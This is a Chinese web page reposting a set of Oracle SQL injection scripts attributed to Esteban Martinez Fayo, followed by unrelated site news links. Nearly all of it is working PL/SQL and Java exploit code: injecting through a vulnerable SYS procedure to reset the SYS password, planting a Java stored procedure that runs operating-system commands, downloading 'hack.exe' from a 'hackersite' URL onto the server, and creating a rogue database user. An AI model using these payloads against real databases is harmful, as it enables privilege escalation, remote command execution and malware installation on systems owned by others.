分享
 
 
 

Oracle 数据库注入技术

王朝oracle·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

/*

Advanced SQL Injection in Oracle databases

Becoming the SYS user with SQL Injection.

This script creates functions that can be injected to replace

the password of the SYS user and to restore it to the original value.

By Esteban Martinez Fayo

secemf@gmail.com

*/

------------

-- Execute this as a low privilege user

------------

--This table is optional if you don't want to save the old SYS password

CREATE TABLE "SCOTT"."PSW_DATA" ("USERNAME" VARCHAR2(32 byte) NOT NULL,

"PSW_HASH" VARCHAR2(30 byte) NOT NULL);

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW" return varchar2

authid current_user as

pragma autonomous_transaction;

ROW_COUNT NUMERIC;

PSW VARCHAR2(30);

BEGIN

EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM SCOTT.PSW_DATA' INTO ROW_COUNT;

IF (ROW_COUNT <= 0) THEN

EXECUTE IMMEDIATE 'INSERT INTO SCOTT.PSW_DATA select username,

password from dba_users where username=''SYS''';

EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY newpsw';

END IF;

COMMIT;

RETURN '';

END;

/

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW" return varchar2

authid current_user as

pragma autonomous_transaction;

PSW_HASH VARCHAR2(30);

BEGIN

EXECUTE IMMEDIATE 'SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE

USERNAME = ''SYS''' INTO PSW_HASH;

EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES ''' || PSW_HASH || '''';

EXECUTE IMMEDIATE 'DELETE FROM SCOTT.PSW_DATA where username=''SYS''';

COMMIT;

RETURN '';

END;

/

-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists

-- in a single PL/SQL statement (not in an anonymous PL/SQL block).

-- See file SQLInjectionLimitation.sql

-- To change the SYS password execute:

EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_CHANGEPSW()||''');

-- To restore the SYS password execute:

EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_RESTOREPSW()||''');

--------------------------------------------------------------------------------------------------------

/*

Advanced SQL Injection in Oracle databases

Executing OS Command with SQL Injection

By Esteban Martinez Fayo

secemf@gmail.com

*/

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2

authid current_user as

pragma autonomous_transaction;

SqlCommand VARCHAR2(2048);

BEGIN

SqlCommand := '

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS

import java.lang.*;

import java.io.*;

public class ExecuteOS

{

public static void printFile (String fileName) throws IOException

{

File fileOut;

FileReader fileReaderOut;

BufferedReader buffReader;

String strRead;

fileOut = new File (fileName);

fileReaderOut = new FileReader (fileOut);

buffReader = new BufferedReader(fileReaderOut);

while ((strRead = buffReader.readLine()) != null)

System.out.println(strRead);

}

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException

{

String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};

System.out.println("==========\r\nExecuting OS command...");

Process p = Runtime.getRuntime().exec(strCmd);

p.waitFor();

System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");

printFile ("c:\\stdout.txt");

System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");

printFile ("c:\\stderr.txt");

}

}';

execute immediate SqlCommand;

SqlCommand := '

CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)

AS LANGUAGE JAVA

NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';

execute immediate SqlCommand;

execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';

commit; -- Must do a commit

return ''; -- Must return a value

END;

/

-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists

-- in a single PL/SQL statement (not in an anonymous PL/SQL block).

-- See file SQLInjectionLimitation.sql

EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');

/

SET SERVEROUTPUT ON

/

CALL dbms_java.set_output(1999);

/

EXEC sys.proc_executeos ('dir');

--------------------------------------------------------------------------------------------------------

/*

Advanced SQL Injection in Oracle databases

By Esteban Martinez Fayo

secemf@gmail.com

*/

------------

-- Execute this as a SYS

------------

-- SQLVULN is a procedure vulnerable to SQL Injection. The vulnerability exists

-- in a single PL/SQL statement (not in an anonymous PL/SQL block).

CREATE OR REPLACE PROCEDURE "SYS"."SQLIVULN" (P_JOB VARCHAR2)

AS

AVGSAL Numeric;

BEGIN

EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;

DBMS_OUTPUT.PUT_LINE('Average salary for the job is: '||AVGSAL);

END;

/

GRANT EXECUTE ON "SYS"."SQLIVULN" TO "SCOTT"

/

------------

-- Execute this as a low privilege user

------------

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2

authid current_user as

BEGIN

execute immediate 'INSERT INTO SYS.PPT (PPC) VALUES (''55'')';

commit;

return '';

END;

/

--To exploit

EXEC SYS.SQLIVULN('MANAGER'' || SCOTT.SQLI() || ''');

-- This gives an Oracle Error

--------------------------------------------------------------------------------------------------------

/*

Advanced SQL Injection in Oracle databases

Uploading a file with SQL Injection

SYS.SQLIVULN is a procedure vulnerable to SQL Injection

By Esteban Martinez Fayo

secemf@gmail.com

*/

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2

authid current_user as

pragma autonomous_transaction;

SqlCommand VARCHAR2(2048);

BEGIN

SqlCommand := '

CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS

import java.lang.*;

import java.io.*;

public class FileUpload {

public static void fileUpload(String myFile, String url) throws Exception

{

File binaryFile = new File(myFile);

FileOutputStream outStream = new FileOutputStream(binaryFile);

java.net.URL u = new java.net.URL(url);

java.net.URLConnection uc = u.openConnection();

InputStream is = (InputStream)uc.getInputStream();

BufferedReader in = new BufferedReader (new InputStreamReader (is));

byte buffer[] = new byte[1024];

int length = -1;

while ((length = is.read(buffer)) != -1) {

outStream.write(buffer, 0, length);

outStream.flush(); }

is.close(); outStream.close();

} };';

execute immediate SqlCommand;

SqlCommand := '

CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)

AS LANGUAGE JAVA

NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';

execute immediate SqlCommand;

execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';

commit; -- Must do a commit

return ''; -- Must return a value

END;

/

SET SERVEROUTPUT ON

/

CALL dbms_java.set_output(1999);

/

-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection.

-- The vulnerability exists

-- in a single PL/SQL statement (not in an anonymous PL/SQL block).

-- See file SQLInjectionLimitation.sql

EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');

/

-- Call the procedure created in the SQL Injection

EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe');

--------------------------------------------------------------------------------------------------------

/*

Advanced SQL Injection in Oracle databases

Example of a function derfined with authid current_user

vulnerable to SQL Injection in a PL/SQL anonymous block.

By Esteban Martinez Fayo

secemf@gmail.com

*/

------------

-- Execute this as a SYS or any other user that can create functions

------------

-- SQLIVULN_CUR_USR is a function vulnerable to SQL Injection in a PL/SQL anonymous

-- block that executes with the privilege of the caller (defined with AUTHID CURRENT_USER).

CREATE OR REPLACE FUNCTION "SYS"."SQLIVULN_CUR_USR" (P_JOB VARCHAR2)

return VARCHAR2

authid current_user as

AVGSAL Numeric;

BEGIN

EXECUTE IMMEDIATE 'BEGIN SELECT AVG(SAL) INTO :AVGSAL FROM SCOTT.EMP

WHERE JOB = '''||P_JOB||'''; END;' USING OUT AVGSAL;

return '';

END;

/

GRANT EXECUTE ON "SYS"."SQLIVULN_CUR_USR" TO "SCOTT"

/

-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists

-- in a single PL/SQL statement (not in an anonymous PL/SQL block).

-- See file SQLInjectionLimitation.sql

-- To Exploit the attacker could execute:

EXEC SYS.SQLIVULN('MANAGER''||SYS.SQLIVULN_CUR_USR(''AA''''; execute immediate

''''declare pragma autonomous_transaction; begin execute immediate ''''''''create

user eric identified by newpsw''''''''; commit; end;''''; end;--'')||''');

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有